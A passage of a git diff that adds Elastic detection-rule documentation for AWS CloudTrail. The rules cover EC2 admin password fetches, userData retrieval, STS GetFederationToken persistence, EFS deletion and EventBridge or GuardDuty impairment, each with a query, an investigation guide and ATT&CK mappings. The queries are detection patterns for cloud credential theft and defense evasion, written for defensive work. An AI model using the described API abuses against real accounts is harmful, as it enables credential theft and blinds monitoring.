**https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "EnableSerialConsoleAccess" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc new file mode 100644 index 0000000000..4099079b63 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role]] +=== AWS EC2 Unauthorized Admin Credential Fetch via Assumed Role + +Identifies the first occurrence of an unauthorized attempt by an AWS role to use `GetPassword` to access the administrator password of an EC2 instance. Adversaries may use this API call to escalate privileges or move laterally within EC2 instances. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Credential Access + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Unauthorized Admin Credential Fetch via Assumed Role* + + +This rule detects the first occurrence of a role using the `GetPasswordData` API call, which retrieves the administrator password, against an unauthorized EC2 instance in AWS. This can be an indicator of an adversary attempting to escalate privileges or move laterally within EC2 instances. + +This is a New Terms rule, which means it will only trigger once for each unique value of the `aws.cloudtrail.user_identity.session_context.session_issuer.arn` field that has not been seen making this API request within the last 7 days. This field contains the Amazon Resource Name (ARN) of the assumed role that triggered the API call. + + +*Possible Investigation Steps* + + +- **Identify the User Identity and Role**: Examine the AWS CloudTrail logs to determine the user identity that made the `GetPasswordData` request. Pay special attention to the role and permissions associated with the user. +- **Review Request Parameters**: Analyze the `aws.cloudtrail.request_parameters` and `aws.cloudtrail.error_message` fields to understand the context of the API call. +- **Contextualize with User Behavior**: Compare this activity against the role's typical behavior patterns. Look for unusual login times, IP addresses, or other anomalous actions taken by the role prior to and following the incident. +- **Review EC2 Instance Details**: Check the details of the EC2 instance from which the password retrieval was attempted. Assess the criticality and sensitivity of the applications running on this instance. +- **Examine Related CloudTrail Events**: Search for other API calls made by the same role, especially those modifying security groups, network access controls, or instance metadata. +- **Investigate the Origin of the API Call**: Analyze the IP address and geographical location from which the request originated. Determine if it aligns with expected locations for legitimate administrative activity. + + +*False Positive Analysis* + + +- **Legitimate Administrative Actions**: Ensure that the activity was not part of legitimate administrative tasks such as system maintenance or updates. +- **Automation Scripts**: Verify if the activity was generated by automation or deployment scripts that are authorized to use `GetPasswordData` for legitimate purposes. + + +*Response and Remediation* + + +- **User Account Review**: Review the permissions of the implicated user identity. Apply the principle of least privilege by adjusting permissions to prevent misuse. +- **Enhanced Monitoring**: Increase monitoring on the user identity that triggered the rule and similar EC2 instances. +- **Incident Response**: If malicious intent is confirmed, initiate the incident response protocol. This includes further investigation, containment of the threat, eradication of any threat actor presence, and recovery of affected systems. +- **Preventative Measures**: Implement or enhance security measures such as multi-factor authentication and continuous audits of sensitive operations like `GetPasswordData`. + + +*Additional Information* + + +Refer to resources like https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc[AWS privilege escalation methods] and the MITRE ATT&CK technique https://attack.mitre.org/techniques/T1552/005/[T1552.005 - Cloud Instance Metadata API] for more details on potential vulnerabilities and mitigation strategies. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" + and event.provider:"ec2.amazonaws.com" and event.action:"GetPasswordData" + and aws.cloudtrail.user_identity.type:"AssumedRole" and aws.cloudtrail.error_code:"Client.UnauthorizedOperation" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc new file mode 100644 index 0000000000..752b537b0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-aws-ec2-user-data-retrieval-for-ec2-instance]] +=== AWS EC2 User Data Retrieval for EC2 Instance + +Identifies discovery request DescribeInstanceAttribute with the attribute userData and instanceId in AWS CloudTrail logs. This may indicate an attempt to retrieve user data from an EC2 instance. Adversaries may use this information to gather sensitive data from the instance such as hardcoded credentials or to identify potential vulnerabilities. This is a New Terms rule that identifies the first time an IAM user or role requests the user data for a specific EC2 instance. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstanceAttribute.html +* https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon EC2 +* Resources: Investigation Guide +* Use Case: Log Auditing +* Tactic: Discovery + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 User Data Retrieval for EC2 Instance* + + +This rule detects requests to retrieve the `userData` attribute of an EC2 instance using the `DescribeInstanceAttribute` API action. The `userData` field can contain sensitive information, such as hardcoded credentials or configuration scripts, that adversaries may exploit for further attacks. + + +*Possible Investigation Steps* + + +- **Identify the Target Instance**: + - **Instance ID**: Review the `aws.cloudtrail.flattened.request_parameters.instanceId` field to identify the EC2 instance targeted by the request. Confirm whether this instance should expose its `userData` and whether it is associated with sensitive workloads. + - **Analyze userData**: If possible, retrieve and inspect the `userData` field to identify sensitive information like hardcoded credentials or configuration scripts. + +- **Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to identify the user or role that executed the `DescribeInstanceAttribute` action. Investigate whether this user typically performs such actions. + - **Access Patterns**: Validate whether the user or role has the necessary permissions and whether the frequency of this action aligns with expected behavior. + - **Access Key ID**: Check the `aws.cloudtrail.user_identity.access_key_id` field to determine the key used to make the request as it may be compromised. + - **Source IP and Geolocation**: Check the `source.address` and `source.geo` fields to validate whether the request originated from a trusted location or network. Unexpected geolocations can indicate adversarial activity. + - **User Agent**: Inspect the `user_agent.original` field to determine the tool or client used (e.g., Terraform, AWS CLI). Legitimate automation tools may trigger this activity, but custom or unknown user agents may indicate malicious intent. + +- **Check for Related Activity**: + - **IAM Changes**: Correlate this event with any IAM changes or temporary credential creation to identify potential privilege escalation attempts. + - **API Usage**: Look for other unusual API calls (e.g., `RunInstances`, `GetObject`, `AssumeRole`) by the same user or IP to detect lateral movement or data exfiltration attempts. + +- **Validate Intent**: + - **Permissions and Justification**: Ensure that the user has the least privilege required to perform this action. Investigate whether there is a valid reason for accessing the `userData` field. + + +*False Positive Analysis* + + +- **Automation**: This event is often triggered by legitimate automation tools, such as Terraform or custom scripts, that require access to `userData` during instance initialization. +- **Maintenance Activity**: Verify whether this event aligns with expected administrative activities, such as debugging or instance configuration updates. + + +*Response and Remediation* + + +- **Revoke Excessive Permissions**: If unauthorized, immediately remove `DescribeInstanceAttribute` permissions from the user or role. +- **Quarantine the Target Instance**: If malicious behavior is confirmed, isolate the affected EC2 instance to limit further exposure. +- **Secure User Data**: + - Avoid storing sensitive information, such as credentials, in `userData`. Use AWS Secrets Manager or Parameter Store instead. + - Encrypt user data and ensure only authorized users can decrypt it. +- **Audit IAM Policies**: Regularly review IAM policies to ensure they adhere to the principle of least privilege. +- **Monitor and Detect**: Set up additional alerts for unexpected `DescribeInstanceAttribute` calls or other suspicious API activity. + + +*Additional Information* + + +For more details on managing EC2 user data securely, refer to the https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html[AWS EC2 User Data Documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "DescribeInstanceAttribute" + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.attribute: "userData" + and not aws.cloudtrail.user_identity.invoked_by: ( + "AWS Internal" or + "cloudformation.amazonaws.com" or + "aidevops.amazonaws.com" or + "elasticmapreduce.amazonaws.com" or + "aiops.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-efs-file-system-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-efs-file-system-deleted.asciidoc new file mode 100644 index 0000000000..ac3834eed6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-efs-file-system-deleted.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-21-aws-efs-file-system-deleted]] +=== AWS EFS File System Deleted + +Identifies the deletion of an Amazon EFS file system using the "DeleteFileSystem" API operation. Deleting an EFS file system permanently removes all stored data and cannot be reversed. This action is rare in most environments and typically limited to controlled teardown workflows. Adversaries with sufficient permissions may delete a file system to destroy evidence, disrupt workloads, or impede recovery efforts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html +* https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EFS +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EFS File System Deleted* + + +Amazon Elastic File System (EFS) provides scalable, shared file storage used by EC2, container workloads, analytics jobs, and other persistent applications. Deleting an EFS file system (`DeleteFileSystem`) permanently removes all stored data and cannot be recovered. Mount targets must already be deleted, but those operations are common and do not themselves indicate malicious behavior. This rule focuses exclusively on the irreversible destructive event, which may signal intentional data destruction, ransomware preparation, or a post-compromise cleanup effort. + + +*Possible investigation steps* + + +- **Identify the actor and calling context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Check `source.ip`, `user_agent.original`, and whether the call originated via console, IAM role, STS session, or long-lived IAM key. + - Verify whether this principal typically manages EFS resources or teardown activities. + +- **Determine what was deleted** + - Inspect `aws.cloudtrail.request_parameters` to identify the deleted file system ID. + - Map the resource to: + - Application or owner team + - Environment classification (prod / dev / test) + - Dependency surfaces (EC2 instances, ECS tasks, Lambda, analytics pipelines) + +- **Reconstruct timeline and intent** + - Use `@timestamp` to correlate with: + - Recent `UpdateFileSystem` events (e.g., deletion protection, lifecycle policies) + - IAM policy or trust policy changes + - EC2 or container runtime disruption shortly before deletion + - Unexpected regional activity or off-hours execution + - Determine if mount target deletions occurred immediately beforehand (expected lifecycle) or unexpectedly earlier (possibly suspicious when paired with other anomalies). + +- **Correlate with broader account activity** + - Pivot in CloudTrail on: + - The same access key or session + - The same EFS file system ID + - Look for: + - Privilege escalation (new policy attachments, role assumptions) + - Lateral movement (SSM sessions, unusual EC2 access) + - Signs of cleanup or anti-forensics (CloudWatch log group deletions, RDS snapshot deletions) + - Network isolation actions (security-group or NACL updates) + +- **Validate with owners** + - Confirm with application or infrastructure teams: + - Whether the deletion was planned, approved, or part of an environment teardown + - Whether a migration or infrastructure rotation is in progress + - Whether the deleted file system contained production or sensitive workloads + + +*False positive analysis* + + +- **Expected teardown activity** + - Some pipelines (Terraform, CloudFormation, CDK, custom IaC) delete file systems as part of environment rotation or decommissioning. + - Add exceptions for known automation roles or environment tags (e.g., `Environment=Dev`). + +- **Ephemeral test environments** + - Development, QA, or integration test accounts may routinely create and destroy EFS file systems. + - Suppress events for non-production accounts where destructive operations are normal. + +- **Automated housekeeping** + - Internal tooling or lifecycle processes may remove unused EFS resources. + - Identify automation roles and use exceptions based on `aws.cloudtrail.user_identity.arn` or `user_agent.original`. + + +*Response and remediation* + + +- **Contain and secure** + - If unauthorized, revoke or disable the credentials used for the deletion. + - Review CloudTrail for additional destructive or privilege-escalating operations from the same actor. + - Validate whether any associated compute workloads (EC2, ECS, Lambda) show compromise indicators. + +- **Assess impact** + - Identify workloads impacted by the file system deletion. + - Determine whether alternate backups exist (EFS-to-EFS Backup, AWS Backup vaults). + - Evaluate operational disruption and data-loss implications, especially for compliance-bound data. + +- **Recover (if possible)** + - Restore from AWS Backup if a protected resource existed. + - Rebuild infrastructure dependencies that relied on the deleted file system. + +- **Hardening and prevention** + - Restrict use of `elasticfilesystem:DeleteFileSystem` to tightly controlled IAM roles. + - Use IAM conditions (e.g., `aws:PrincipalArn`, `aws:SourceIp`, `aws:RequestedRegion`) to limit destructive operations. + - Ensure AWS Backup policies include EFS resources with sufficient retention. + - Use AWS Config or Security Hub controls to detect: + - EFS file systems without backup plans + - Unexpected changes to file system policies + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "elasticfilesystem.amazonaws.com" + and event.action: "DeleteFileSystem" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-eventbridge-rule-disabled-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-eventbridge-rule-disabled-or-deleted.asciidoc new file mode 100644 index 0000000000..153cce958e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-eventbridge-rule-disabled-or-deleted.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-aws-eventbridge-rule-disabled-or-deleted]] +=== AWS EventBridge Rule Disabled or Deleted + +Identifies when an Amazon EventBridge rule is disabled or deleted. EventBridge rules are commonly used to automate operational workflows and security-relevant routing (for example, forwarding events to Lambda, SNS/SQS, or security tooling). Disabling or deleting a rule can break critical integrations, suppress detections, and reduce visibility. Adversaries may intentionally impair EventBridge rules to disrupt monitoring, delay response, or hide follow-on actions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_DeleteRule.html +* https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_DisableRule.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EventBridge +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EventBridge Rule Disabled or Deleted* + + +EventBridge rules define when events are matched and where they are delivered. Disabling or deleting a rule can interrupt +automation, break alerting pipelines, and create blind spots in detection coverage. In security-focused designs, EventBridge +is frequently used to forward CloudTrail findings, Config/Security Hub events, GuardDuty findings, or application security +signals to downstream responders. + +This rule detects successful `DisableRule` or `DeleteRule` actions. Depending on what the affected rule does, this activity +may indicate routine operational work or deliberate impairment of monitoring and response paths. + + +*Possible investigation steps* + + +**Identify the actor and access path** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which principal performed the change. +- Review `user.name`, `user_agent.original`, and `source.ip` to understand how the action was performed (console vs CLI/SDK/automation) and from where. + +**Confirm what changed and what it impacts** +- Use `aws.cloudtrail.request_parameters` to identify the rule name/ARN and whether the action was `DisableRule` or `DeleteRule`. +- Determine what the rule was used for and assess blast radius: + - Was the rule on a shared event bus or a critical account/region? + - Was it a centralized “security routing” rule that aggregates events from many accounts? + +**Reconstruct timing and sequence** +- Correlate `@timestamp` with surrounding CloudTrail activity for the same actor and the same rule name/ARN. +- Look for companion actions that often occur with impairment attempts: + - IAM changes that expand permissions (`PutRolePolicy`, `AttachRolePolicy`, `UpdateAssumeRolePolicy`, access key creation). + - Changes that disable other telemetry or controls (CloudTrail changes, Config recorder stopped, GuardDuty/Security Hub changes). + - Follow-on actions against sensitive services immediately after the rule was disabled/deleted. + +**Validate authorization and change management** +- Check whether the change aligns with a known deployment, infrastructure-as-code run, or approved change ticket. Confirm with the owning team whether the rule was intentionally disabled/deleted and whether there is a documented replacement. + + +*False positive analysis* + + +- **Planned maintenance and refactoring** + - Rules may be removed during redesign of event patterns, target migrations, or application decommissioning. +- **Infrastructure-as-code or automation** + - CI/CD pipelines and IaC (Terraform/CloudFormation/CDK) can disable/delete rules during drift correction or environment rotation. + + +*Response and remediation* + + +**Restore visibility and business function** +- If the rule is security- or business-critical, restore functionality immediately: + - Re-enable the rule if it was disabled. + - If deleted, recreate it from the last known-good baseline (IaC state, templates, or documented configuration). +- Validate delivery by confirming new matching events reach intended targets (for example, downstream Lambda/SNS/SQS) and that monitoring pipelines resume. + +**Contain potential compromise** +- If the actor is unexpected or the access path is suspicious: + - Restrict the principal’s permissions to EventBridge and related services while you investigate (least-privilege containment). + - Rotate/disable credentials associated with `aws.cloudtrail.user_identity.access_key_id` when applicable. + - For assumed roles, investigate the originating principal and consider temporarily limiting role assumption via IAM conditions or trust policy changes. + +**Scope the incident** +- Pivot in CloudTrail using the same `aws.cloudtrail.user_identity.arn`, access key, and `source.ip` to identify additional EventBridge rule modifications, changes to event buses, permissions, or resource policies that could enable unauthorized routing. +- Determine whether the rule impairment created a monitoring gap and identify the time window of reduced visibility for retrospective review. + +**Hardening and prevention** +- Reduce the likelihood of silent impairment: + - Restrict `events:DisableRule` and `events:DeleteRule` to a small set of administrative roles; use IAM conditions (for example, `aws:PrincipalArn`, `aws:RequestedRegion`, source VPC/IP conditions where appropriate). + - Consider AWS Organizations SCP guardrails in production accounts to limit destructive EventBridge changes. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: events.amazonaws.com + and event.action: (DeleteRule or DisableRule) + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc new file mode 100644 index 0000000000..bc60a90cb6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-aws-first-occurrence-of-sts-getfederationtoken-request-by-user]] +=== AWS First Occurrence of STS GetFederationToken Request by User + +Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ +* https://www.crowdstrike.com/en-us/blog/how-adversaries-persist-with-aws-user-federation/ +* https://medium.com/@adan.alvarez/how-attackers-persist-in-aws-using-getfederationtoken-a-simple-and-effective-technique-used-in-the-987ec1f0bdfe/ + +*Tags*: + +* Domain: Cloud +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS STS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS First Occurrence of STS GetFederationToken Request by User* + + +AWS Security Token Service (STS) enables users to request temporary credentials for accessing AWS resources. While beneficial for legitimate use, adversaries may exploit this to gain unauthorized access. These credentials will remain active for the duration specified (maximum 36 hours), even if the initial compromised identity is deleted. They can also be used to request a console signin token which allows the adversary to make sensitive IAM API calls which would otherwise be denied with the federation token alone. The detection rule identifies unusual activity by flagging the first instance of a `GetFederationToken` request by a user helping to uncover potential misuse aimed at evading defenses and gaining persistence. + + +*Possible investigation steps* + + +- Review the specific user account associated with the `GetFederationToken` request to determine if the activity aligns with their typical behavior and role within the organization. +- Examine the AWS CloudTrail logs for additional context around the time of the `GetFederationToken` request, looking for any other unusual or suspicious activities by the same user or related accounts. +- Check the `source.ip` and `source.geo` fields of the request to identify if it originates from an expected or unexpected location. +- View the `aws.cloudtrail.response_elements` to find the created `federatedUser.arn`. Investigate the resources accessed by this Federated User to assess if there was any suspicious activity. +- Consult with the requesting user `aws.cloudtrail.user_identity.arn` to verify if the `GetFederationToken` request was legitimate and necessary for their work tasks. + + +*False positive analysis* + + +- Routine administrative tasks by cloud administrators may trigger the rule if they are using `GetFederationToken` for legitimate purposes. To manage this, create exceptions for known administrative accounts that regularly perform these actions. +- Automated scripts or applications that use `GetFederationToken` for legitimate operations might be flagged. Identify these scripts and exclude their associated user accounts from the rule to prevent unnecessary alerts. +- Third-party services integrated with AWS that require temporary credentials might cause false positives. Review and whitelist these services if they are verified and trusted to avoid repeated alerts. +- New employees or contractors accessing AWS resources for the first time may trigger the rule. Implement a process to verify their access requirements and exclude their accounts if their actions are deemed non-threatening. + + +*Response and remediation* + + +- If compromise is verified, attach a policy that denies all actions, effectively preventing any further activity, even from temporary credentials. You can use the AWS-managed policy https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll]. This ensures that any temporary credentials generated by the compromised user are also blocked, stopping the attacker’s activities. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Conduct a root cause analysis to determine how the `GetFederationToken` request was initiated and identify any potential security gaps or misconfigurations. +- Implement additional monitoring and alerting for `GetFederationToken` requests to detect and respond to similar activities promptly in the future. +- Review and update IAM policies and permissions to ensure that only authorized users have the ability to request temporary credentials, reducing the risk of misuse. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider:sts.amazonaws.com + and event.action:GetFederationToken + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-guardduty-detector-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-guardduty-detector-deletion.asciidoc new file mode 100644 index 0000000000..1a4cf0abb5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-guardduty-detector-deletion.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-aws-guardduty-detector-deletion]] +=== AWS GuardDuty Detector Deletion + +Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* 